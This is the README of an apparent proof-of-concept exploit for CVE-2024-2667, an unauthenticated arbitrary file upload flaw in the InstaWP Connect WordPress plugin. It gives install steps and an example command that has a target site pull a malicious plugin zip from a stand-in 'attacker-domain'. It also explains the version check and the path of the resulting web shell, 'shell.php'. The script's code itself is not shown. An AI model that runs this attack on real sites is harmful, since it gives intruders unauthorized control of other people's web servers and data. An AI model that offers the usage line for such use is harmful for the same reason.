CVE-2024-2667 PoC — InstaWP Connect – 1-click WP Staging & Migration <= 0.1.0.22 - Unauthenticated Arbitrary File Upload

Readme

# CVE-2024-2667-Poc 🚀

## Description
The InstaWP Connect – 1-click WP Staging & Migration plugin for WordPress is vulnerable to arbitrary file uploads due to insufficient file validation in the /wp-json/instawp-connect/v1/config REST API endpoint in all versions up to, and including, 0.1.0.22. This makes it possible for unauthenticated attackers to upload arbitrary files.

# Script Usage Guide ⚙️

### Install Requirements
| Description                                | Details                                                                                     | Icon  |
|--------------------------------------------|---------------------------------------------------------------------------------------------|-------|
| Install Required Libraries                 | Use `pip` to install the necessary Python libraries: `requests` and `beautifulsoup4`.      | 🛠️   |
| Command to Install                         | Run: `pip install requests beautifulsoup4`.                                                | 📥   |

### Run the Script
| Description                                | Details                                                                                     | Icon  |
|--------------------------------------------|---------------------------------------------------------------------------------------------|-------|
| Execute the Script                         | Run the script using the command line with required arguments.                              | 🚀   |
| Required Arguments                         | - `-up`: Plugin URL (e.g., `http://attacker-domain/malicious-plugin.zip`).                  |
|                                            | - `-u`: Target WordPress URL (e.g., `http://victim-domain/`).                               | 🔧   |
| Example Command                            | `python CVE-2024-2667.py -up http://attacker-domain/malicious-plugin.zip -u http://victim-domain/`   | 📜   |

### Check Vulnerability
| Description                                | Details                                                                                     | Icon  |
|--------------------------------------------|---------------------------------------------------------------------------------------------|-------|
| Version Check                              | The script examines the `readme.txt` file for the version of the target plugin.             | 🔍   |
| Vulnerable Version                         | If the version is `<= 0.1.0.22`, the script prints: `The site is vulnerable.`              | ⚠️   |
| Safe Version                                | If the version is `> 0.1.0.22`, the script prints: `The site is not vulnerable.`            | ✅   |


###  Shell Location
| Description                                | Details                                                                                     | Icon  |
|--------------------------------------------|---------------------------------------------------------------------------------------------|-------|
| Shell Path                                 | If the upload is successful, the shell will be accessible at:                               | 🐚   |
|                                            | `wp-content/plugins/instawp-connect/shell.php`.                                             |








### usage -help
```
usage: CVE-2024-2667.py [-h] -up URL_PLUGIN -u URL_TARGET

The InstaWP Connect – 1-click WP Staging & Migration plugin for WordPress is vulnerable to arbitrary file uploads due
to insufficient file validation in the /wp-json/instawp-connect/v1/config REST API endpoint in all versions up to, and
including, 0.1.0.22. This makes it possible for unauthenticated attackers to upload arbitrary files.

options:
  -h, --help            show this help message and exit
  -up URL_PLUGIN, --url_plugin URL_PLUGIN
                        URL of the plugin (e.g., http://attacker-domain/malicious-plugin.zip).
  -u URL_TARGET, --url_target URL_TARGET
                        URL of the target WordPress site (e.g., http://victim-domain/).
```

File Snapshot

Remarks